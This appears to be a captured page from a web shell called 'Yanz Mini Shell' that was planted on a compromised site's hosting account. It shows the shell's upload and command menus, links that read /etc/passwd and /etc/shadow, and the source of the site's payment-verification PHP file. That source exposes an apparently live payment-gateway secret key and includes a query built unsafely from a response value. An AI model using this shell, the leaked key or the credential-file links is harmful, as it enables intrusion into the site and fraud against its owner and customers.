Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
anchorremanageme
public_html
kmartgroceries_andmore.com
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include_once "includes/connectConfig.php"; $length = 50; $ur = bin2hex(openssl_random_pseudo_bytes($length)); if(isset($_GET['reference']) && !empty($_GET['reference'])){ $nworder = $_GET['reference']; $curl = curl_init("https://api.paystack.co/transaction/verify/".$nworder); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_MAXREDIRS, 10); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "GET"); curl_setopt($curl, CURLOPT_HTTPHEADER, array( "Authorization: Bearer sk_live_71d52b53d3a4271f472e5f50f3199db0ccfa292b", "Cache-Control: no-cache", "Content-Type: application/x-www-form-urlencoded" )); $resp = curl_exec($curl); curl_close($curl); $response = json_decode($resp); //var_dump($resp);print_r($response); file_put_contents('kmtchk.txt', print_r($response, true)); //'checkout?preg='.$ur.'&order=complete&ordered='.$order_number;mkresult $gt_status = $response->status; $gt_dstatus = $response->data->status; if(!empty($gt_status) && $gt_status == 1 && !empty($gt_dstatus) && $gt_dstatus == "success"){ $gt_receiptnum = $response->data->receipt_number; $gt_ref = $response->data->reference; $gt_omid = getOne("kgmtusers_payments"," kmt_token = '$gt_ref' ","session_num"); $ins_ref = $db_con->prepare("UPDATE kgmtusers_payments SET kmt_receipt_number=:pyord, kmt_dated = NOW() WHERE kmt_token=:pids"); $ins_ref->bindParam(':pyord',$gt_receiptnum); $ins_ref->bindParam(':pids',$gt_ref); if($ins_ref->execute()){ echo "<script>window.location.href ='checkout?preg=".$ur."&order=payment&ordered=".$gt_omid."'</script>"; } else{ echo "<script>window.location.href ='checkout?preg=".$ur."&order=payment&ordered=failed'</script>"; } } else{ echo "<script>window.location.href ='checkout?preg=".$ur."&order=payment&ordered=failed'</script>"; } }else{ echo "<script>window.location.href ='checkout?preg=".$ur."&order=payment'</script>"; } ?>
Free Space : 534726344704 Byte